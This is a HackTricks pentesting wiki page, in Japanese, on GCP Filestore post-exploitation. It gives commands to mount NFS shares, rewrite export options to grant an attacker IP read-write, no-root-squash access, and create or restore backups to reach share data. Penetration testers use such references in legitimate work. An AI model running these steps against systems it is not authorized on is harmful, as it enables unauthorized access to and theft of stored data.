GCP - Filestore Post Exploitation

Support HackTricks

Filestore

Filestoreに関する詳細情報は次を参照してください:

GCP - Filestore Enum

Mount Filestore

共有ファイルシステムには攻撃者の視点から興味深い機密情報が含まれている可能性があります。Filestoreにアクセスすると、それをマウントすることができます:

sudo apt-get update
sudo apt-get install nfs-common
# Check the share name
showmount -e <IP>
# Mount the share
mkdir /mnt/fs
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs

ファイルストアインスタンスのIPアドレスを見つけるには、ページの列挙セクションをチェックしてください:

GCP - Filestore Enum

制限を解除して追加の権限を取得する

攻撃者がアクセス権を持っていないIPアドレスにいる場合でも、それを変更する権限が十分にある場合は、制限を解除したりアクセス権を取得することが可能です。また、IPアドレスに対してより多くの特権を付与して、共有に対する管理者アクセス権を持つことも可能です:

gcloud filestore instances update nfstest \
--zone=<exact-zone> \
--flags-file=nfs.json

# Contents of nfs.json
{
"--file-share":
{
"capacity": "1024",
"name": "<share-name>",
"nfs-export-options": [
{
"access-mode": "READ_WRITE",
"ip-ranges": [
"<your-ip-private-address>/32"
],
"squash-mode": "NO_ROOT_SQUASH",
"anon_uid": 1003,
"anon_gid": 1003
}
]
}
}

バックアップの復元

バックアップがある場合、既存のインスタンスまたは新しいインスタンスにそれを復元して、その情報にアクセス可能にすることができます。

# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create <new-instance-name> \
--zone=<zone> \
--tier=STANDARD \
--file-share=name=vol1,capacity=1TB \
--network=name=default,reserved-ip-range=10.0.0.0/29

# Restore a backups in a new instance
gcloud filestore instances restore <new-instance-name> \
--zone=<zone> \
--file-share=<instance-file-share-name> \
--source-backup=<backup-name> \
--source-backup-region=<backup-region>

# Follow the previous section commands to mount it

バックアップを作成して復元する

もしシェアへのアクセス権がなく、それを変更したくない場合は、それのバックアップを作成し、先ほど説明したように復元することが可能です:

# Create share backup
gcloud filestore backups create <back-name> \
--region=<region> \
--instance=<instance-name> \
--instance-zone=<instance-zone> \
--file-share=<share-name>

# Follow the previous section commands to restore it and mount it
HackTricksのサポート

Last updated